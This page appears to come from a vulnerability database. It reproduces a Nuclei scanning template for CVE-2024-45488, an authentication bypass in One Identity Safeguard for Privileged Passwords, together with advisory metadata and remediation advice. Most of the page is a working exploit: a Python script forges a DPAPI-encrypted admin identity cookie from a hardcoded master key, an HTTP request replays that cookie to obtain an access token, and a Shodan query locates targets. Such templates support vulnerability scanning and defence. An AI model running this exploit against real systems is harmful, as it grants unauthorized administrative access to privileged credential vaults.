| Reporter | Title | Published | Views | Family All 8 |
|---|---|---|---|---|
| CVE-2024-45488 | 30 Aug 202404:46 | – | circl | |
| One Identity Safeguard for Privileged Passwords 安全漏洞 | 29 Aug 202400:00 | – | cnnvd | |
| CVE-2024-45488 | 30 Aug 202400:00 | – | cve | |
| CVE-2024-45488 | 30 Aug 202400:00 | – | cvelist | |
| CVE-2024-45488 | 30 Aug 202402:15 | – | nvd | |
| PT-2024-31658 · Vmware +2 · Vmware +2 | 29 Aug 202400:00 | – | ptsecurity | |
| CVE-2024-45488 | 23 May 202508:07 | – | redhatcve | |
| CVE-2024-45488 | 30 Aug 202400:00 | – | vulnrichment |
id: CVE-2024-45488
info:
name: SafeGuard for Privileged Passwords < 7.5.2 - Authentication Bypass
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: |
One Identity Safeguard for Privileged Passwords before 7.5.2 allows unauthorized access because of an issue related to cookies. This only affects virtual appliance installations (VMware or HyperV). The fixed versions are 7.0.5.1 LTS, 7.4.2, and 7.5.2.
impact: |
Unauthenticated attackers can bypass authentication and gain unauthorized administrative access to SafeGuard for Privileged Passwords systems.
remediation: |
Update One Identity Safeguard for Privileged Passwords to version 7.0.5.1 LTS, 7.4.2, or 7.5.2 or later.
reference:
- https://blog.amberwolf.com/blog/2024/september/cve-2024-45488-one-identity-safeguard-for-privileged-passwords-authentication-bypass/
- https://blog.amberwolf.com/blog/2024/september/skeleton-cookie-breaking-into-safeguard-with-cve-2024-45488/
- https://gist.github.com/rxwx/c968b3324e74058208fe6e168fd8730f
- https://support.oneidentity.com/kb/4376740/safeguard-for-privileged-passwords-security-vulnerability-notification-defect-460620
- https://support.oneidentity.com/product-notification/noti-00001628
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-45488
epss-score: 0.50172
epss-percentile: 0.98765
metadata:
verified: true
max-request: 1
shodan-query: html:"Safeguard for Privileged Passwords"
tags: cve,cve2024,auth-bypass,safeguard,vuln
code:
- engine:
- py
- python3 # requires python to be pre-installed on system running nuclei
source: |
# pip install pycryptodome
from datetime import datetime, timedelta
from Crypto.Cipher import AES, DES3
from Crypto.Hash import HMAC, SHA1, SHA512, SHA256
from Crypto.Util.Padding import pad
from io import BytesIO
import argparse
import string
import base64
import uuid
import os
class DPAPIBlob:
CALG_3DES = 0x6603
CALG_AES_256 = 0x6610
CALG_SHA1 = 0x8004
CALG_SHA_256 = 0x800c
CALG_SHA_512 = 0x800e
def combine_bytes(self, *arrays):
return b''.join(arrays)
def hmac_sha512(self, key, data):
hmac = HMAC.new(key, digestmod=SHA512)
hmac.update(data)
return hmac.digest()
def derive_key_raw(self, hash_bytes, alg_hash):
ipad = bytearray([0x36] * 64)
opad = bytearray([0x5C] * 64)
for i in range(len(hash_bytes)):
ipad[i] ^= hash_bytes[i]
opad[i] ^= hash_bytes[i]
if alg_hash == self.CALG_SHA1:
sha1 = SHA1.new()
ipad_sha1bytes = sha1.new(ipad).digest()
opad_sha1bytes = sha1.new(opad).digest()
return self.combine_bytes(ipad_sha1bytes, opad_sha1bytes)
else:
raise Exception(f"Unsupported alg_hash: {alg_hash}")
def derive_key2(self, key, nonce, hash_algorithm, blob, entropy=None):
"""
Derive a key using the provided key, nonce, hash algorithm, blob, and optional entropy.
:param key: The base key material.
:param nonce: The nonce (salt) value.
:param hash_algorithm: The hash algorithm identifier (SHA1, SHA256, SHA512).
:param blob: The additional data to include in the key derivation.
:param entropy: Optional entropy to include in the key derivation.
:return: The derived key as a byte array.
"""
if hash_algorithm == self.CALG_SHA1:
hmac = HMAC.new(key, digestmod=SHA1)
elif hash_algorithm == self.CALG_SHA_256:
hmac = HMAC.new(key, digestmod=SHA256)
elif hash_algorithm == self.CALG_SHA_512:
hmac = HMAC.new(key, digestmod=SHA512)
else:
raise Exception(f"Unsupported hash algorithm: {hash_algorithm}")
key_material = bytearray()
key_material.extend(nonce)
if entropy is not None:
key_material.extend(entropy)
key_material.extend(blob)
hmac.update(key_material)
return hmac.digest()
def derive_key(self, key_bytes, salt_bytes, alg_hash, entropy=None):
if alg_hash == self.CALG_SHA_512:
if entropy is not None:
return self.hmac_sha512(key_bytes, self.combine_bytes(salt_bytes, entropy))
else:
return self.hmac_sha512(key_bytes, salt_bytes)
elif alg_hash == self.CALG_SHA1:
ipad = bytearray([0x36] * 64)
opad = bytearray([0x5C] * 64)
for i in range(len(key_bytes)):
ipad[i] ^= key_bytes[i]
opad[i] ^= key_bytes[i]
buffer_i = self.combine_bytes(ipad, salt_bytes)
sha1 = SHA1.new()
sha1.update(buffer_i)
sha1_buffer_i = sha1.digest()
buffer_o = self.combine_bytes(opad, sha1_buffer_i)
if entropy is not None:
buffer_o = self.combine_bytes(buffer_o, entropy)
sha1.update(buffer_o)
sha1_buffer_o = sha1.digest()
return self.derive_key_raw(sha1_buffer_o, alg_hash)
else:
raise Exception("Unsupported Hash Algorithm")
def encrypt(self, plaintext, key, algCrypt):
if algCrypt == self.CALG_3DES:
iv = b'\x00' * 8
cipher = DES3.new(key, DES3.MODE_CBC, iv)
elif algCrypt == self.CALG_AES_256:
iv = b'\x00' * 16
cipher = AES.new(key, AES.MODE_CBC, iv)
else:
raise Exception(f"Unsupported encryption algorithm: {algCrypt}")
padded_data = pad(plaintext, cipher.block_size)
return cipher.encrypt(padded_data)
def create_blob(self, plaintext, masterKey, algCrypt, algHash, masterKeyGuid, flags=0, entropy=None, description=""):
descBytes = description.encode('utf-16le') if description else b'\x00\x00'
saltBytes = os.urandom(32)
hmac2KeyLen = 32
if algCrypt == self.CALG_3DES:
algCryptLen = 192
elif algCrypt == self.CALG_AES_256:
algCryptLen = 256
else:
raise Exception(f"Unsupported encryption algorithm: {algCrypt}")
if algHash == self.CALG_SHA1:
signLen = 20
elif algHash == self.CALG_SHA_256:
signLen = 32
elif algHash == self.CALG_SHA_512:
signLen = 64
else:
raise Exception(f"Unsupported hash algorithm: {algHash}")
# Derive key
derivedKeyBytes = self.derive_key(masterKey, saltBytes, algHash, entropy)
finalKeyBytes = derivedKeyBytes[:algCryptLen // 8]
# Encrypt data
encData = self.encrypt(plaintext, finalKeyBytes, algCrypt)
# Construct the BLOB using BytesIO
blob = BytesIO()
# Version
blob.write((1).to_bytes(4, 'little'))
# Provider GUID
providerGuid = uuid.UUID("df9d8cd0-1501-11d1-8c7a-00c04fc297eb").bytes_le
blob.write(providerGuid)
# MasterKey version
blob.write((1).to_bytes(4, 'little'))
# MasterKey GUID
blob.write(masterKeyGuid.bytes_le)
# Flags
blob.write((flags).to_bytes(4, 'little'))
# Description length
blob.write(len(descBytes).to_bytes(4, 'little'))
# Description
blob.write(descBytes)
# Algorithm ID
blob.write(algCrypt.to_bytes(4, 'little'))
# Algorithm key length
blob.write(algCryptLen.to_bytes(4, 'little'))
# Salt length
blob.write(len(saltBytes).to_bytes(4, 'little'))
# Salt
blob.write(saltBytes)
# HMAC key length (always 0)
blob.write((0).to_bytes(4, 'little'))
# Hash algorithm ID
blob.write(algHash.to_bytes(4, 'little'))
# Hash length
blob.write((len(derivedKeyBytes) * 8).to_bytes(4, 'little'))
# HMAC2 key length
blob.write(hmac2KeyLen.to_bytes(4, 'little'))
# HMAC2 key
hmac2Key = os.urandom(hmac2KeyLen)
blob.write(hmac2Key)
# Data length
blob.write(len(encData).to_bytes(4, 'little'))
# Encrypted Data
blob.write(encData)
# Create the HMAC (sign) over the entire blob except for the sign field
signBlob = blob.getvalue()[20:] # Skip the first 20 bytes for the HMAC calculation
sign = self.derive_key2(masterKey, hmac2Key, algHash, signBlob, entropy)
# Sign length
blob.write(signLen.to_bytes(4, 'little'))
# Sign
blob.write(sign)
return blob.getvalue()
def main():
args = {
'master_key': '48F4153A8C26C2B026562685B67C30EFF119D735',
'master_key_guid': '98dc3c79-9aa5-4efc-927f-ccec24eaa14e',
'local': 1,
'base64': 1
}
current_time = datetime.utcnow().strftime("%Y%m%dT%H%M%SZ")
future_time = (datetime.utcnow() + timedelta(days=1)).strftime("%Y%m%dT%H%M%SZ")
plaintext= f"local,admin,Primary,Password,{current_time},{future_time}"
plaintext=plaintext.encode('utf-8')
if not all(c in string.hexdigits for c in args['master_key']):
print (f' Provided master key is not valid: {args.master_key}')
return
try:
uuid.UUID(args["master_key_guid"])
except ValueError:
print (f' Provided master key GUID is not valid: {args["master_key_guid"]}')
return
# Parse the master key and GUID
masterKey = bytes.fromhex(args['master_key'])
masterKeyGuid = uuid.UUID(args["master_key_guid"])
algCrypt = DPAPIBlob.CALG_AES_256
algHash = DPAPIBlob.CALG_SHA_512
flags = 0
if args['local']:
flags |= 4 # CRYPTPROTECT_LOCAL_MACHINE
dpapi = DPAPIBlob()
encrypted_blob = dpapi.create_blob(plaintext, masterKey, algCrypt, algHash, masterKeyGuid, flags)
if args['base64']:
output_data = base64.b64encode(encrypted_blob).decode('utf-8')
else:
output_data = encrypted_blob.hex(' ')
print(f"{output_data}")
if __name__ == "__main__":
main()
http:
- method: GET
path:
- "{{BaseURL}}/RSTS/UserLogin/LoginController?response_type=token&redirect_uri=https%3A%2F%2Flocalhost&loginRequestStep=6&csrfTokenTextbox=aaa"
headers:
Cookie: "CsrfToken=aaa; stsIdentity0={{code_response}}"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "access_token="
- "RelyingPartyUrl"
condition: and
- type: word
part: content_type
words:
- 'application/json'
- type: status
status:
- 200
# digest: 4a0a00473045022100ae76613359149cee0664dd0583a521e7f6530c2b1d3574c03160bcdfeca0b19f022056dda9705bb78b59f55ecc73e4e2383ce2cea34f777f741065db43983fb8b2bd:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation